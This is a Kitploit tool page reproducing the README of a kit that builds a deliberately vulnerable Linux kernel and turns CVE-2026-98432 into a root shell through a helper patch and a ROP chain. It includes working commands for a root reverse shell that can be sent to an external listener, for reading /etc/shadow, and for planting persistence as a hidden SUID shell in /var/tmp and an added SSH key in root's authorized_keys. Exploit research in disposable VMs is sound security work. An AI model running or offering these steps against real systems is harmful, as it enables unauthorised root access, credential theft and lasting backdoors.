Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-98432-root-shell — CVE-2026-98432 实验环境 root-shell 工具包(辅助内核;并非现成的远程漏洞利用) | Kitploit
工具/GitHubGitHub/thiscitze/cve-2026-98432-root-shell
权限提升漏洞分析漏洞利用Shellcode学习与教育Payload 开发二进制利用实验室与实践
GitHubthiscitze/cve-2026-98432-root-shell

cve-2026-98432-root-shell

CVE-2026-98432 实验环境 root-shell 工具包(辅助内核;并非现成的远程漏洞利用)

查看仓库
1174天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-98432 实验环境 root-shell 套件

本套件构建一个故意存在漏洞的 Linux 6.12.112 内核,附带一个小的可利用性辅助工具,并将 CVE-2026-98432 路径转化为 QEMU 控制台上的交互式 root shell。

它是一个实验辅助工具,而非现成的远程漏洞利用程序。真实的 CVE 代码路径被使用:

  • 一个伪造的 ip_options_rcu 通过重传的 SYN-ACK 路径到达 ip_options_build();
  • SYN-ACK 的 skb_shared_info 被破坏;
  • skb_release_data() 调用伪造的 ubuf_info->ops->complete 回调;
  • 一个 ROP 链调用 call_usermodehelper("/bin/sh", ...)。

辅助工具是强制释放/伪造对象以及分阶段回调/ROP 链。在存在漏洞的原版内核上,缺失的部分是可靠的同 slab/同 CPU 回收和载荷分阶段原语;该部分未公开。参见下文“原版内核状态”。

要求

  • x86_64 Linux 主机,root 权限,4 核以上,10 GB 可用磁盘
  • 强烈推荐 KVM(/dev/kvm);TCG 可用但速度较慢
  • Debian/Ubuntu 软件包:
sudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
    cpio qemu-system-x86 busybox-static python3 python3-pip
  • 可选,用于自动 gadget 解析:
python3 -m pip install --user ROPgadget

构建与启动

cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh

首次构建会下载 Linux 6.12.112,回退两处 kfree_rcu() 调用,应用该辅助补丁,构建 bzImage,从打过补丁的 vmlinux 中解析符号/gadget,重新构建,打包 initramfs,并以 nokaslr 启动 QEMU。

如果 KVM 不可用:

QEMU_ACCEL=tcg ./build.sh

(当 /dev/kvm 不可写时,脚本目前会自动回退到 TCG;为方便起见,接受 QEMU_ACCEL 变量。)

触发 root shell

A) 实验虚拟机:在宿主控制台上获取 root shell

在宿主机上打开第二个终端:

python3 trigger.py 127.0.0.1 9000

客户机 init 创建了 /tmp/cve98432_root.sh,其中包含一个控制台 shell(sh -i </dev/console)。只需向客户机监听器发起一次 TCP 连接即可。客户机控制台应显示类似以下内容:

[    3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#

B) 使用 Python 的友好目标服务器:通过 SSH 获取 root shell

将 root_shell.py 复制到目标机器(该机器已启动 aid 内核),并以你当前拥有的用户身份运行它:

python3 root_shell.py

它写入 /tmp/cve98432_root.sh,其中包含一个 root 反向 shell 载荷,启动两个回环监听器(9000 用于触发,4444 用于 shell),触发该辅助程序,并将 root shell 桥接到你的终端:

[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#

有用的选项:

# check kernel/aid/ports without sending anything
python3 root_shell.py --check

# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'

# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444   on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444

# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5

保持主机运行 / 持久化 root

aid 链仅在 root 命令退出后才调用 machine_power_off()。 如果 root 命令永不退出,内核会在 call_usermodehelper() 中等待, 主机便保持运行。这样你就可以创建一条持久化的 root 路径:

# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
  'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'

# after the client returns
/var/tmp/.rootsh -p

或添加 SSH 密钥并保持辅助程序存活:

python3 root_shell.py --command \
  'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'

sleep 会让用户态辅助程序(以及因此的内核链)保持存活,因此目标不会关机。如果 /tmp 以 noexec/nosuid 挂载,请使用 /var/tmp 或 /root,而不是 /tmp。当 sleep 结束时,链会恢复并关闭主机;如果你想控制这一点,请以 root 身份终止 sleep 进程。

payload 文件以 0700 和 O_EXCL|O_NOFOLLOW 创建,除非指定 --keep-payload,否则使用后会被删除。当你退出 root shell 时,aid 链会调用 machine_power_off()。请使用一次性 VM,或者如果你需要主机保持运行,请编辑 aid_patch.py 中的 AID_POWEROFF。

该链运行:

call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)

因此脚本始终以 root 身份执行。

哪些是真实的,哪些是辅助的

部分状态
伪造的 ip_options_rcu + ip_options_build()CVE 路径,但分配由辅助代码强制触发
skb_shared_info 损坏辅助代码在 tcp_v4_send_synack() 中直接设置字段
destructor_arg 回调劫持真实的下游清理路径
ROP 栈迁移 + call_usermodehelper()真实的内核控制流劫持,由辅助代码分阶段布置
nokaslr 启动实验环境简化;无需 KASLR 泄漏

本工具包所遵循的已发表独立研究,在插桩内核上达到了相同 阶段:真实的越界写入和回调路径,辅助的 释放/回收与载荷分阶段布置。截至 2026-11-02,原版内核上的武器化利用链尚未 公开可用。

符号与 gadget

辅助代码使用绝对内核地址,因为客户机以 nokaslr 启动。aid_patch.py 中的值是已发表的 6.12.112 实验构建的默认值。resolve.py 读取已修补的 vmlinux 和 System.map 并写入 symbols.json;随后 build.sh 更新这些定义 并重新构建。

如果 resolve.py 找不到某个 gadget(ROPgadget 缺失或不完整), 请安装它并重新运行:

python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage

pivot gadget 必须与 aid_patch.py 中的链布局相匹配:一个 lea -0x18(%rbp), %rsp 加上四个 pop 和一个 ret/jmp。如果你的构建 使用了不同的 pivot,请调整 aid_patch.py 中的 SEND_BLOCK,或选择一个 匹配的 gadget。

原版内核状态

原版存在漏洞的内核没有可靠、公开、无需辅助的 root 链。阻碍因素如下:

  1. 被释放的 72 字节 ip_options_rcu 必须在从释放到构建的窗口内 被一个由攻击者控制字节的对象回收。saved_syn 对象(TCP_SAVE_SYN) 是自然的候选对象,但独立实验室的测量表明,回收通常落在另一个 选项块上,而不是正在处理中的块。
  2. 需要文本指针泄漏来绕过 KASLR。同类型回收会暴露一个 外部标记,但不会暴露内核文本指针。
  3. srr/rr/ts 存储会在 skb 缓冲区附近的偏移处提供四个受控字节; 写入完整的 8 字节 destructor_arg 指针需要要么一个 过时的高位双字,要么一个更强的原语。

已发布的 Anthropic 链通过一个未公开的回收/暂存原语解决了这些问题。 本套件有意止步于控制流演示,而不是假装原版链可以工作。

文件

文件用途
build.sh内核 + initramfs + QEMU
aid_patch.py应用伪造对象/回调/ROP 辅助
resolve.py为已修补的构建解析符号/gadget
listener.c客户机 TCP 监听器(accept + close)
init客户机 init 脚本
trigger.py主机侧单连接触发器(控制台变体)
root_shell.py单文件触发器 + 反向 shell 桥接,用于带 Python 的目标

清理

所有内容都在 work/ 下(或作为第一个参数传入的目录)。 删除它以回收磁盘空间:

rm -rf work

参考文献

  • CVE-2026-98432:https://cveawg.mitre.org/api/cve/CVE-2026-98432
  • 上游修复:e3f33b0a1d89d738e2b913dab519226eaf76e15b
  • Anthropic:https://www.anthropic.com/research/discovering-vulnerabilities-with-claude
  • 独立的第 2/3 阶段研究:https://github.com/H1z3-br0/CVE-2026-98432
下载工具